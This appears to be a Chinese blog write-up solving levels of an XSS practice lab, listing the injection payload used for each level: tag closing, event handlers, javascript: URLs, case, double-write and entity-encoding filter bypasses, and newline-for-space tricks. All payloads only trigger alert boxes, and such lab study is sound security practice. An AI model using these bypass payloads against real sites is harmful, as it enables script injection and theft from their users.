XSS实战1(http://test.ctf8.com/)

要求:显示弹窗即为过关

level1

通过修改URL中参数name发现页面test也会被修改,尝试修改name的值

?name=<script>alert(/nice/)</script>

level2

存在文本框,输入<script>alert(/nice/)</script>,页面返回如下,F12查看源码

接下来我们输入单引号,结果如下

再然后输入双引号,结果如下

由此得出value值为双引号闭合,尝试闭合标签"><script>alert(/nice/)</script> 通关

level3

输入"><script>alert(/nice/)</script>回显如下,查看源码,<script>标签依旧存在,但是语句没有执行

输入'><script>alert(/nice/)</script>回显如下

发现<、>、/都被转义了,且value值是用单引号闭合,尝试使用事件绕过

' οninput='alert(/nice/),输入后点击搜索,页面返回再点击文本框即可弹窗

level4

level3不同,value值是用双引号闭合

payload为 " οninput="alert(/nice/)

level5

通过判断知value值为双引号闭合

输入"><script>alert(/nice/)</script>,回显结果<script>变成<scr_ipt>

尝试修改<script>标签为大写<SCRIPT>,显示结果不变,说明<script>标签用不了,

但是通过显示可知可以嵌入标签,这里我们考虑a标签+伪协议

"><a href="javascript:alert(1)")">nice</a>

level6

输入"><script>alert(/nice/)</script>,查看源码,发现<script>变成<scr_ipt>

 尝试修改<script>标签为大写<SCRIPT>"><SCRIPT>alert(/nice/)</SCRIPT>成功弹窗

level7

输入"><SCRIPT>alert(/nice/)</SCRIPT>,查看源码,<script>标签被过滤

 尝试双写"><SCRSCRIPTIPT>alert(/nice/)</SCRSCRIPTIPT>

level8

这关跟其他关有点不一样,输入信息并没有再页面上显示,查看源码

经过尝试,标签<script>更改大小写无效,尝试使用用事件发现事件也不行,这里考虑使用为协议

javascript:alert(/nice/)

 发现只要有script就会被处理,于是尝试对script进行实体编码处理,这里对p进行实体编码

javascri&#x70;t:alert(/nice/),然后点击添加友情链接,再点击友情链接则通关了

于是,我返回再用<script>并且对p进行实体编码尝试,发现没有效果,那就不纠结了

level9

尝试level8的payload,并没有出现弹窗,查看源码,发现实体编码并没有转回p,于是改回来,但是也没有出现弹窗

于是我尝试了传入正常的url,如下

 发现源码中的友情链接的按钮内容发生改变

于是猜测是否只要含有http://即为合法,于是尝试输入并把其注释掉//http://

构造javascri&#x70;t:alert(/nice/) //http://

level10 

看起来和第一关有点像,更改keyword=<script>alert(/nice/)</script>

 发现回显不了,应该是被转义了,但是我们查看源码,发现<center>标签下有个<form>标签,可以传递值给3个参数t_link、t_history、t_sort,于是我们尝试传入参数并赋值&t_link=1&t_history=2&t_sort=3,发现t_sort可以值可以传入

 于是尝试写入弹窗&t_sort=" οninput="alert(/nice/),回车,由于type="hidden",表单不显示在页面,这里我们将hidden删除,然后点击表框输入内容,过关

level11

查看源码,比level10多了个参数

&t_link=1&t_history=2&t_sort=3&t_ref=4

 于是像level10一样传入&t_sort=" οninput="alert(/nice/)

发现行不通,尝试其他输入都没有效果......思路断了,回去从一开始查看源码

发现t_ref本身有一个值,通过上面过程知道这个值一改变就会置为空,所以我们尝试在不改变它的值的情况下构造事件,于是尝试在type地方构造事件,过关

level12-level13

level11类似

level14-level15(略)

level16

查看源码,没发现注入点,但是却有个<center>标签,根据前面的经验,这里可能会有一个参数,

 于是尝试传入name,发现并没有回显,尝试传入keyword,回显内容

于是构造js,<script>alert(/nice/)</script> ,发现<script>标签、斜杠、都被过滤

 再尝试用其他标签 <input>,发现可以写入标签,但是,向标签写入属性之后,却无法回显输入内容,<input value=1 οninput=alert(nice)>如图,说明空格%20用不了,试试能否使用换行%0a

 <input%0avalue=1%0aοninput=alert(nice)> ,过关

  

level17

尝试修改url参数的值,查看源码,发现参数传入位于<embed>标签中,如图

 

 尝试能否闭合标签,发现都用不了,但是输入空格+事件发现可以嵌入到标签里面

 尝试使用其他事件%20οnmοusemοve=alert(1) ,过关

 

level18

level17一样

level19、level20

做了好久没做出来。。。

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值